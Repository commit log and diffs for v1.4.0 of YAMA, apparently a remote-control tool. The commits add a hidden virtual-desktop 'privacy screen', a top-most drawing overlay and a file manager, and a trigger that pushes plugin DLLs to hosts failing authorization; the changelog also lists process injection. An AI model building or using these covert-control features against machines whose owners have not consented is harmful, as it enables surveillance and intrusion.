6 Commits
Author SHA1 Message Date
yuanyuanxiang b89428bf35 Release v1.4.0 2026-10-07 13:57:34 +02:00
yuanyuanxianganddeepseek-v4-pro 3928dd76a3 Feature: Add icons to experimental features submenu
Add 16x16 menu icons for the three experimental-features items in the
online-host right-click menu: file management (folder), privacy screen
(shield with padlock), and drawing board (paintbrush). The new bitmaps
follow the existing #F0F0F0-background 32bpp convention and are wired
into the m_bmOnline array via LoadBitmap and SetMenuItemBitmaps, using
the same pattern as the other nested-submenu items.

Co-Authored-By: deepseek-v4-pro
2026-10-06 18:05:14 +02:00
yuanyuanxianganddeepseek-v4-pro d80d8f21da Feature: Add auth-failed trigger type (授权失败触发)
Add a second trigger type TRIGGER_AUTH_FAILED alongside the existing
TRIGGER_HOST_ONLINE. When a host's authorization fails — V1 or V2, at
initial TOKEN_AUTH or on a later heartbeat — the server fires the
auth-failed trigger and sends the configured plugin DLLs to the client,
gated by the existing ShouldLogAuth dedup so a persistently failing host
is re-triggered only once per hour or on a state change.

VerifyClientAuth gains a sender parameter so the failure branch can reach
the live connection context; both call sites (TOKEN_AUTH and heartbeat)
pass it. TriggerManager caches the auth-failed plugin names in a separate
set via HasAuthFailedTrigger/GetAuthFailedPlugins, leaving the online
trigger path untouched.

Rework the settings dialog so the plugin checklist reflects the currently
selected trigger type (new ReflectPluginsForType and a CBN_SELCHANGE
handler) instead of hardcoding the online trigger; remove the now-unused
GetOnlineTrigger helper. Add "授权失败" translations to en_US, zh_TW and
de_DE.

Co-Authored-By: deepseek-v4-pro
2026-10-06 17:50:30 +02:00
yuanyuanxianganddeepseek-v4-pro d269df9171 Feature: Migrate SimplePlugins drawing board (远程画板迁移)
Migrate the SimplePlugins remote drawing-board overlay into the YAMA client
as an "实验功能" right-click submenu entry. DrawingBoardMgr is isolated in
the SimplePluginsDrawingBoard namespace and draws pen paths and text onto a
transparent, top-most layered window.

The YAMA server already had the CDrawingBoard dialog, TOKEN_DRAWING_BOARD
(151) and the full RemoteDraw command set, so only the client overlay
manager and the menu wiring were missing. Add COMMAND_DRAWING_BOARD_PLUGIN
(165) and LoopDrawingBoardPlugin, spawned as a sub-connection from
KernelManager; the constructor sends TOKEN_DRAWING_BOARD so the existing
server dialog opens unchanged. Add a "远程画板" entry to the "实验功能"
submenu, routed via OnExperimentDrawingBoard.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:52:58 +02:00
yuanyuanxianganddeepseek-v4-pro 2fb6252285 Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)
Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the
YAMA client as an "实验功能" right-click submenu entry. The capture layer is
rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy
(vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of
SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and
CScreenHideManager are migrated under the SimplePluginsScreenHide namespace,
and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF.

Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned
as a sub-connection from KernelManager. The constructor sends
TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged.
Add a "隐私屏幕" entry to the "实验功能" submenu, routed via
OnExperimentPrivateScreen.

Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:41:04 +02:00
yuanyuanxianganddeepseek-v4-pro 2c3e1ca518 Feature: Migrate SimplePlugins file management (文件管理迁移)
Migrate the SimplePlugins file-management feature into the YAMA client as an
experimental feature. The migrated CFileManager, MasterEncoder and Info-Zip
sources live under client/file/ and are isolated in the SimplePluginsFile
namespace to avoid clashing with the native FileManager class.

Add COMMAND_FILE_MANAGER_PLUGIN (163) and LoopFileManagerPlugin, spawned as
a sub-connection from KernelManager. Add an "实验功能" submenu with a
"文件管理" entry above "客户管理" in the online-hosts right-click menu,
routed via OnExperimentFileManager to the existing TOKEN_DRIVE_LIST_PLUGIN
dialog path.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:09:26 +02:00
38 changed files with 7214 additions and 47 deletions

No files matched your search

+26
View File
@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日志 ## 更新日志
### v1.4.0 (2026.10.7)
**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
**新功能:**
- **SimplePlugins 功能迁移(实验功能)**:文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端,作为在线主机右键「实验功能」子菜单交付,配 16x16 图标(位图数组 66→69)
- **MCP 设备管理控制工具**:新增 kill_process / operate_window / control_service / power_action(单一 McpManage 开关 + 关闭只读),ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲;MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
- **远程交谈**:「远程交谈」工具栏按钮(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)打开双向聊天,支持服务端触发屏幕锁 / 解锁
- **TCP/UDP 连接管理**:工具栏按钮列出受管主机 TCP/UDP 连接,右键强制断开 IPv4 TCP(iphlpapi 枚举 + CConnectionsDlg)
- **主机管理**:迁移 CMachineManager(进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入),COMMAND_MACHINE_MANAGE 162
- **授权失败触发器**:新增 TRIGGER_AUTH_FAILED 触发类型(与主机上线触发独立),授权失败时下发插件 DLL,受 ShouldLogAuth 去重约束
- **iPhone 远程音频**:WebAudio + 自托管 opus-decoder WASM 解码,修复 iOS 无 MSE 静音
- **画质与传输控制**:远程桌面 / 屏幕预览质量等级菜单(各 6 档可配置)+ 文件传输速度对话框(7 档 + 无限档,CMD_FILE_SPEED 252)
- **Shine/HELL 协议选择**:分享 / 传输主机时可选协议,尾随冒号字段透传,旧客户端兼容
- **Go Web UI 子路径部署**:YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
- **国际化**:德语(de_DE)第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐;远程桌面剪贴板按钮(全屏可达)
**改进:**
- 通知设置关键词改为多行输入(每行一个,存储仍分号分隔,兼容既有 notify.ini)
**Bug 修复:**
- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失(进程列表 kill 后空列表)
- 即时消息弹窗标题乱码(GBK code_page 声明)
- geo-IP 查询阻塞主机双击提示(仅本地库加载时查询 + 进程内缓存)
- 主机管理 IE 历史字符串泄漏(CoTaskMemFree)、隐私屏幕 0xCC 乱码日志
### v1.3.9 (2026.9.2) ### v1.3.9 (2026.9.2)
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强** **MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
+26
View File
@@ -378,6 +378,32 @@ Valid : 2026-02-01 to 2028-02-01
## Changelog ## Changelog
### v1.4.0 (2026.10.7)
**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
**New features:**
- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, CMD_FILE_SPEED 252)
- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
**Improvements:**
- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
**Bug fixes:**
- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
- Garbled instant-message popup title (GBK code_page declaration)
- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
### v1.3.9 (2026.9.2) ### v1.3.9 (2026.9.2)
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements** **MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
+26
View File
@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日誌 ## 更新日誌
### v1.4.0 (2026.10.7)
**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
**新功能:**
- **SimplePlugins 功能遷移(實驗功能)**:檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端,作為線上主機右鍵「實驗功能」子選單交付,配 16x16 圖示(位圖陣列 66→69)
- **MCP 裝置管理控制工具**:新增 kill_process / operate_window / control_service / power_action(單一 McpManage 開關 + 關閉唯讀),ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝;MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
- **遠端交談**:「遠端交談」工具列按鈕(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)開啟雙向交談,支援伺服端觸發螢幕鎖 / 解鎖
- **TCP/UDP 連線管理**:工具列按鈕列出受管主機 TCP/UDP 連線,右鍵強制斷開 IPv4 TCP(iphlpapi 列舉 + CConnectionsDlg)
- **主機管理**:遷移 CMachineManager(處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入),COMMAND_MACHINE_MANAGE 162
- **授權失敗觸發器**:新增 TRIGGER_AUTH_FAILED 觸發類型(與主機上線觸發獨立),授權失敗時下發外掛程式 DLL,受 ShouldLogAuth 去重約束
- **iPhone 遠端音訊**:WebAudio + 自託管 opus-decoder WASM 解碼,修復 iOS 無 MSE 靜音
- **品質與傳輸控制**:遠端桌面 / 螢幕預覽品質等級選單(各 6 檔可設定)+ 檔案傳輸速度對話框(7 檔 + 無限檔,CMD_FILE_SPEED 252)
- **Shine/HELL 協定選擇**:分享 / 傳輸主機時可選協定,尾隨冒號欄位透傳,舊用戶端相容
- **Go Web UI 子路徑部署**:YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
- **國際化**:德語(de_DE)第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊;遠端桌面剪貼簿按鈕(全螢幕可達)
**改進:**
- 通知設定關鍵詞改為多行輸入(每行一個,儲存仍分號分隔,相容既有 notify.ini)
**Bug 修復:**
- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失(處理程序列表 kill 後空列表)
- 即時訊息快顯視窗標題亂碼(GBK code_page 宣告)
- geo-IP 查詢阻塞主機雙擊提示(僅本機資料庫載入時查詢 + 處理程序內快取)
- 主機管理 IE 歷史字串洩漏(CoTaskMemFree)、隱私螢幕 0xCC 亂碼記錄
### v1.3.9 (2026.9.2) ### v1.3.9 (2026.9.2)
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強** **MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
+14
View File
@@ -187,6 +187,13 @@
<ClCompile Include="ConPTYManager.cpp" /> <ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" /> <ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="FileManager.cpp" /> <ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp">
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
</ClCompile>
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" /> <ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" /> <ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" /> <ClCompile Include="IOCPUDPClient.cpp" />
@@ -240,6 +247,13 @@
<ClInclude Include="ConPTYManager.h" /> <ClInclude Include="ConPTYManager.h" />
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" /> <ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" /> <ClInclude Include="IOCPUDPClient.h" />
+18
View File
@@ -4,6 +4,9 @@
#include "Manager.h" #include "Manager.h"
#include "ScreenManager.h" #include "ScreenManager.h"
#include "FileManager.h" #include "FileManager.h"
#include "file/FileManager.h"
#include "screenhide/ScreenHideManager.h"
#include "DrawingBoardMgr.h"
#include "TalkManager.h" #include "TalkManager.h"
#include "ChatManager.h" #include "ChatManager.h"
#include "MachineManager.h" #include "MachineManager.h"
@@ -113,6 +116,21 @@ DWORD WINAPI LoopMachineManager(LPVOID lParam)
return LoopManager<CMachineManager, 0>(lParam); return LoopManager<CMachineManager, 0>(lParam);
} }
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
}
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
}
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
}
DWORD WINAPI LoopShellManager(LPVOID lParam) DWORD WINAPI LoopShellManager(LPVOID lParam)
{ {
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe // Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
+3
View File
@@ -30,6 +30,9 @@ DWORD WINAPI LoopFileManager(LPVOID lParam);
DWORD WINAPI LoopTalkManager(LPVOID lParam); DWORD WINAPI LoopTalkManager(LPVOID lParam);
DWORD WINAPI LoopChatManager(LPVOID lParam); DWORD WINAPI LoopChatManager(LPVOID lParam);
DWORD WINAPI LoopMachineManager(LPVOID lParam); DWORD WINAPI LoopMachineManager(LPVOID lParam);
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
DWORD WINAPI LoopProcessManager(LPVOID lParam); DWORD WINAPI LoopProcessManager(LPVOID lParam);
DWORD WINAPI LoopWindowManager(LPVOID lParam); DWORD WINAPI LoopWindowManager(LPVOID lParam);
DWORD WINAPI LoopVideoManager(LPVOID lParam); DWORD WINAPI LoopVideoManager(LPVOID lParam);
+290
View File
@@ -0,0 +1,290 @@
#include "DrawingBoardMgr.h"
#include <tchar.h>
#define MSG_CLEAR 999
namespace SimplePluginsDrawingBoard {
DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
{
m_fAlpha = 150;
m_bIsWorking = TRUE;
m_bTopMost = TRUE;
m_hWnd = NULL;
m_textColor = RGB(255,0,0);
m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
__CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
BYTE bToken = TOKEN_DRAWING_BOARD;
m_ClientObject->Send2Server((char*)&bToken, 1);
}
DrawingBoardMgr::~DrawingBoardMgr()
{
m_bIsWorking = FALSE;
while (m_hWnd)
Sleep(200);
DeleteObject(m_DrawPen);
DeleteObject(m_Font);
}
DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
{
Mprintf("Start DrawingThreadProc\n");
DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
pThis->RunWindowThread();
pThis->m_bIsWorking = FALSE;
Mprintf("Stop DrawingThreadProc\n");
return 0;
}
void DrawingBoardMgr::RunWindowThread()
{
const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
static bool s_classRegistered = false;
if (!s_classRegistered) {
WNDCLASSEX wc = {};
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = DrawingBoardMgr::WndProc;
wc.hInstance = GetModuleHandle(NULL);
wc.lpszClassName = CLASS_NAME;
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.hIcon = NULL; // 标题栏图标
wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图)
if (!RegisterClassEx(&wc)) {
Mprintf("RegisterClassEx failed: %d\n", GetLastError());
}
s_classRegistered = true;
}
DWORD dwStyle = WS_POPUP | WS_BORDER;
m_hWnd = CreateWindowEx(
WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
NULL, NULL, GetModuleHandle(NULL), this
);
if (m_hWnd == NULL) return;
LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
style |= WS_BORDER; // 增加窄边框
style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框
SetWindowLong(m_hWnd, GWL_STYLE, style);
// 去掉系统菜单
SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
BringWindowToTop(m_hWnd);
// 透明度
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
ShowWindow(m_hWnd, SW_SHOW);
UpdateWindow(m_hWnd);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
TranslateMessage(&msg);
DispatchMessage(&msg);
Sleep(1);
}
if (m_hWnd)
PostMessage(m_hWnd, WM_CLOSE, 0, 0);
m_hWnd = NULL; // 线程退出后,窗口已销毁
}
LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
DrawingBoardMgr* pThis = nullptr;
if (msg == WM_NCCREATE) {
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
pThis = (DrawingBoardMgr*)cs->lpCreateParams;
SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
}
else {
pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
}
if (pThis) {
switch (msg) {
case WM_GETICON:
return NULL;
case WM_WINDOWPOSCHANGED:
{
WINDOWPOS* pwp = (WINDOWPOS*)lParam;
if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
// 如果窗口层级被改变,重新设置为顶层
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
}
break;
}
case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hdc = BeginPaint(hWnd, &ps);
HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
pThis->m_locker.lock();
auto paths = pThis->m_Paths;
auto currentPath = pThis->m_CurrentPath;
auto texts = pThis->m_Texts;
pThis->m_locker.unlock();
// 画所有历史路径
for (const auto& path : paths)
{
if (path.size() >= 2)
Polyline(hdc, path.data(), (int)path.size());
}
// 画当前路径
if (currentPath.size() >= 2)
{
Polyline(hdc, currentPath.data(), (int)currentPath.size());
}
// 绘制文字
SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色
SetBkMode(hdc, TRANSPARENT); // 设置透明背景
for (const auto& entry : texts)
TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
SelectObject(hdc, hOldPen);
SelectObject(hdc, hOldFont);
EndPaint(hWnd, &ps);
return 0;
}
case WM_DESTROY:
PostQuitMessage(0);
return 0;
case MSG_CLEAR:
pThis->m_locker.lock();
pThis->m_Paths.clear();
pThis->m_CurrentPath.clear();
pThis->m_Texts.clear();
pThis->m_locker.unlock();
InvalidateRect(hWnd, NULL, TRUE);
break;
}
}
return DefWindowProc(hWnd, msg, wParam, lParam);
}
VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength < 1) return;
BYTE cmd = szBuffer[0];
switch (cmd)
{
case CMD_DRAW_POINT:
if (ulLength == sizeof(POINT) + 1)
{
POINT pt = *(POINT*)(szBuffer + 1);
m_locker.lock();
m_CurrentPath.push_back(pt);
m_locker.unlock();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
break;
case CMD_DRAW_END:
m_locker.lock();
if (!m_CurrentPath.empty())
{
m_Paths.push_back(m_CurrentPath);
m_CurrentPath.clear();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
m_locker.unlock();
break;
case CMD_TRANSPORT:
m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
break;
case CMD_TOPMOST:
m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
break;
case CMD_MOVEWINDOW:
if (ulLength == sizeof(RECT) + 1)
{
RECT rect = *(RECT*)(szBuffer + 1);
if (m_hWnd && IsWindow(m_hWnd))
{
::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top,
rect.right-rect.left, rect.bottom-rect.top,
SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
}
}
break;
case CMD_SET_SIZE: {
if (ulLength == sizeof(int) * 2 + 1) {
int x[2];
memcpy(x, szBuffer + 1, sizeof(int) * 2);
if (IsWindow(m_hWnd)) {
::SetWindowPos(m_hWnd, NULL, 0, 0,
x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
}
}
break;
}
case CMD_DRAW_CLEAR: {
PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
break;
}
case CMD_DRAW_TEXT: {
ParseRemoteText(szBuffer + 1, ulLength - 1);
break;
}
default:
break;
}
}
void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
{
if (length < sizeof(POINT)) return;
// 提取位置
POINT pt = *(POINT*)data;
PBYTE textData = data + sizeof(POINT);
int textLen = (int)(length - sizeof(POINT));
// UTF-8 → WCHAR
int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
if (wideLen <= 0) return;
std::wstring wstr(wideLen, 0);
MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
#ifdef _UNICODE
CString cstr(wstr.c_str());
#else
// 若项目使用多字节字符集
int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
std::string cstr;
if (ansiLen > 0)
{
std::string ansi(ansiLen - 1, 0);
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
cstr = ansi.c_str();
}
#endif
// 存入本地图形对象并刷新绘图区域
m_locker.lock();
m_Texts.push_back(std::make_pair(pt, cstr));
m_locker.unlock();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
} // namespace SimplePluginsDrawingBoard
+36
View File
@@ -0,0 +1,36 @@
#pragma once
#include "Manager.h"
#include <vector>
#include <string>
#include "common/locker.h"
namespace SimplePluginsDrawingBoard {
class DrawingBoardMgr : public CManager
{
public:
DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
~DrawingBoardMgr();
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void ParseRemoteText(PBYTE data, ULONG length);
private:
BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明
BOOL m_bTopMost; // 顶层
BOOL m_bIsWorking; // 线程状态
HWND m_hWnd; // 窗口
std::vector<std::vector<POINT>> m_Paths; // 历史路径集合,每条路径是一组点
std::vector<POINT> m_CurrentPath; // 当前正在绘制的路径点集合
std::vector<std::pair<POINT, std::string>> m_Texts;
HFONT m_Font;
COLORREF m_textColor;
HPEN m_DrawPen;
CLocker m_locker;
static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
void RunWindowThread();
static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
};
} // namespace SimplePluginsDrawingBoard
+30
View File
@@ -1177,6 +1177,36 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case COMMAND_FILE_MANAGER_PLUGIN: { // 插件文件管理(SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_PRIVATE_SCREEN_PLUGIN: { // 隐私屏幕(虚拟桌面,SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHELL: { case COMMAND_SHELL: {
if (!ENABLE_SHELL) { if (!ENABLE_SHELL) {
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1); return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
+8 -8
View File
@@ -31,20 +31,19 @@ FONT 10, "System", 0, 0, 0x0
BEGIN BEGIN
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95 LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
END END
IDD_CHAT DIALOGEX 0, 0, 235, 155 IDD_CHAT DIALOGEX 0, 0, 235, 155
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "Chat" CAPTION "Chat"
FONT 10, "System", 0, 0, 0x0 FONT 10, "System", 0, 0, 0x0
BEGIN BEGIN
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL
